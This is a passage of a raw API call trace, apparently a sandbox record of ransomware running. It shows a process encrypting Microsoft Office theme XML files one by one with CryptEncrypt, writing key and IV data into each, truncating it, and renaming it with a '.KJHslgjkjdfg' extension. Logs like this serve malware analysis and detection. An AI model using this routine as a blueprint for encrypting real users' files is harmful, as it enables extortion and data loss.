hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3a0, lpOverlapped=0x0) returned 1 [0198.806] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0) returned 1 [0198.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.807] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a0, lpOverlapped=0x0) returned 1 [0198.807] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.807] SetEndOfFile (hFile=0xf0) returned 1 [0198.809] GetProcessHeap () returned 0x2a0000 [0198.809] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.809] GetProcessHeap () returned 0x2a0000 [0198.809] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.kjhslgjkjdfg")) returned 1 [0198.811] CloseHandle (hObject=0xf0) returned 1 [0198.812] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0198.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.813] GetProcessHeap () returned 0x2a0000 [0198.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.813] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.813] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0198.815] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.815] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.815] GetProcessHeap () returned 0x2a0000 [0198.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.815] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.815] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.815] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.815] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.816] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.816] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.816] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.816] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.816] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.816] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3bf, lpOverlapped=0x0) returned 1 [0198.816] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0198.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.816] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0198.816] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.816] SetEndOfFile (hFile=0xf0) returned 1 [0198.819] GetProcessHeap () returned 0x2a0000 [0198.819] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.819] GetProcessHeap () returned 0x2a0000 [0198.819] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.kjhslgjkjdfg")) returned 1 [0198.821] CloseHandle (hObject=0xf0) returned 1 [0198.821] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0198.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.822] GetProcessHeap () returned 0x2a0000 [0198.822] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.822] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.822] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0198.850] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.850] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.850] GetProcessHeap () returned 0x2a0000 [0198.850] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.850] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.850] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.850] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.850] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.851] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.851] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.851] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.851] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.851] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.851] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c4, lpOverlapped=0x0) returned 1 [0198.851] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.851] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.851] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.851] SetEndOfFile (hFile=0xf0) returned 1 [0198.854] GetProcessHeap () returned 0x2a0000 [0198.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.854] GetProcessHeap () returned 0x2a0000 [0198.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.kjhslgjkjdfg")) returned 1 [0198.856] CloseHandle (hObject=0xf0) returned 1 [0198.856] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0198.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.858] GetProcessHeap () returned 0x2a0000 [0198.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.858] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.858] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0198.861] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.861] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.861] GetProcessHeap () returned 0x2a0000 [0198.861] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.861] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.861] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.861] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.861] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.861] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.861] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.861] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.862] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.862] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.862] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x39e, lpOverlapped=0x0) returned 1 [0198.862] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0) returned 1 [0198.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.862] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a0, lpOverlapped=0x0) returned 1 [0198.862] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.862] SetEndOfFile (hFile=0xf0) returned 1 [0198.865] GetProcessHeap () returned 0x2a0000 [0198.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.865] GetProcessHeap () returned 0x2a0000 [0198.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.kjhslgjkjdfg")) returned 1 [0198.867] CloseHandle (hObject=0xf0) returned 1 [0198.867] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0198.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.868] GetProcessHeap () returned 0x2a0000 [0198.868] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.868] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.868] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0198.875] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.875] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.875] GetProcessHeap () returned 0x2a0000 [0198.875] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.875] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.875] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.875] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.875] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.875] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.875] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.875] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.875] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.876] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.876] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c1, lpOverlapped=0x0) returned 1 [0198.876] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.876] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.876] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.876] SetEndOfFile (hFile=0xf0) returned 1 [0198.878] GetProcessHeap () returned 0x2a0000 [0198.878] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.878] GetProcessHeap () returned 0x2a0000 